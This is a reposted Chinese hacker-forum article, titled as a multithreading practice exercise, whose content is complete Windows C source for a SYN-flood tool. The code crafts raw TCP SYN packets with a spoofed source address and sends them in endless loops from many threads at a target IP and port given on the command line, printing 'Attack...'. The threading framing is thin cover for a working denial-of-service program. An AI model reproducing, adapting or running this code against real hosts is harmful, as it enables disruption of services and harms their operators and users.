[转]简单的发包程序练习多线程

文章作者：xuanliang[E.S.T]
信息来源：邪恶八进制

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
SOCKET g_Sock;
SOCKADDR_IN g_Addr;
//定义IP首部
typedef struct ip_head
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IPHEADER;
//定义TCP首部
typedef struct tcp_head
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCPHEADER;
//定义TCP伪首部
typedef struct tsd_head
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSDHEADER;
//计算校验和
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}

void usage()
{
printf("-----------------------------------------------------------/n");
printf("Test CreateThread/n");
printf("Useage:Target_ip Target_port Thread_num /n");
printf("-----------------------------------------------------------/n");
}

//MakeThread
int MakeThread( LPVOID pPara )
{
char *SendBuf = NULL;
int PacketSize = 0,
AddrSize = 0;
SendBuf = (char *)pPara;
PacketSize = sizeof(IPHEADER)+sizeof(TCPHEADER);
AddrSize = sizeof(SOCKADDR_IN);
while(1)
{
if ( sendto(g_Sock,
SendBuf,
PacketSize,
0,
(struct sockaddr*)&g_Addr,
AddrSize) == SOCKET_ERROR )
{
printf( "send error %d!", GetLastError() );
return false;
}
}
}
int main(int argc, char* argv[])
{
WSADATA WSAData;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
int SourcePort;
char SendBuf[60]={0};
BOOL flag;
int nTimeOver;
int ThreadNUM;
HANDLE ThreadHandle = NULL;
int i;
int CurrentThread=0;
if (argc!=4)
{
usage();
return false;
}
if (atoi(argv[3]) > 50)
{
printf("u'd better choose 10 thread");
}
else
ThreadNUM=atoi(argv[3]);
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
{
printf("WSAStartup Error!");
return false;
}
if ((g_Sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
printf("Socket Setup Error!");
return false;
}
flag=true;
if (setsockopt(g_Sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL error!");
return false;
}
//设置发送时间
nTimeOver=1000;
if (setsockopt(g_Sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR)
{
printf("setsockopt SO_SNDTIMEO error!");
return false;
}
g_Addr.sin_family=AF_INET;
g_Addr.sin_port=htons(atoi(argv[2]));
g_Addr.sin_addr.S_un.S_addr=inet_addr(argv[1]);
//填充IP首部
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=(unsigned char)GetTickCount()%87+123;
ipHeader.proto=IPPROTO_TCP; // 协议类型为 TCP
ipHeader.checksum=0;
ipHeader.sourceIP=htonl(GetTickCount()*474695);
ipHeader.destIP=inet_addr(argv[1]);

//填充TCP首部
SourcePort=GetTickCount()*43557%9898;
tcpHeader.th_sport=htons(SourcePort);
tcpHeader.th_dport=htons(atoi(argv[2]));
tcpHeader.th_seq=htonl(0x12345678);
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2; //SYN
tcpHeader.th_win=htons(512);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;

//填充TCP伪首部用来计算TCP头部的效验和
psdHeader.saddr=ipHeader.sourceIP;
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));

//计算校验和
memcpy(SendBuf, &psdHeader, sizeof(psdHeader));
memcpy(SendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)SendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(SendBuf, &ipHeader, sizeof(ipHeader));
memcpy(SendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
//创建线程
for (i=0;i<ThreadNUM;i++)
{
ThreadHandle=CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MakeThread, (LPVOID)SendBuf ,0, NULL);
if (ThreadHandle == NULL)
{
printf("createthread fail:%x",WSAGetLastError());
}
else
{
CurrentThread++;
printf("Thread %-3dAttack.../n",i);

//CloseHandle(ThreadHandle);
}
}
WaitForSingleObject(ThreadHandle,INFINITE);
closesocket(g_Sock);
WSACleanup();
return 0;
}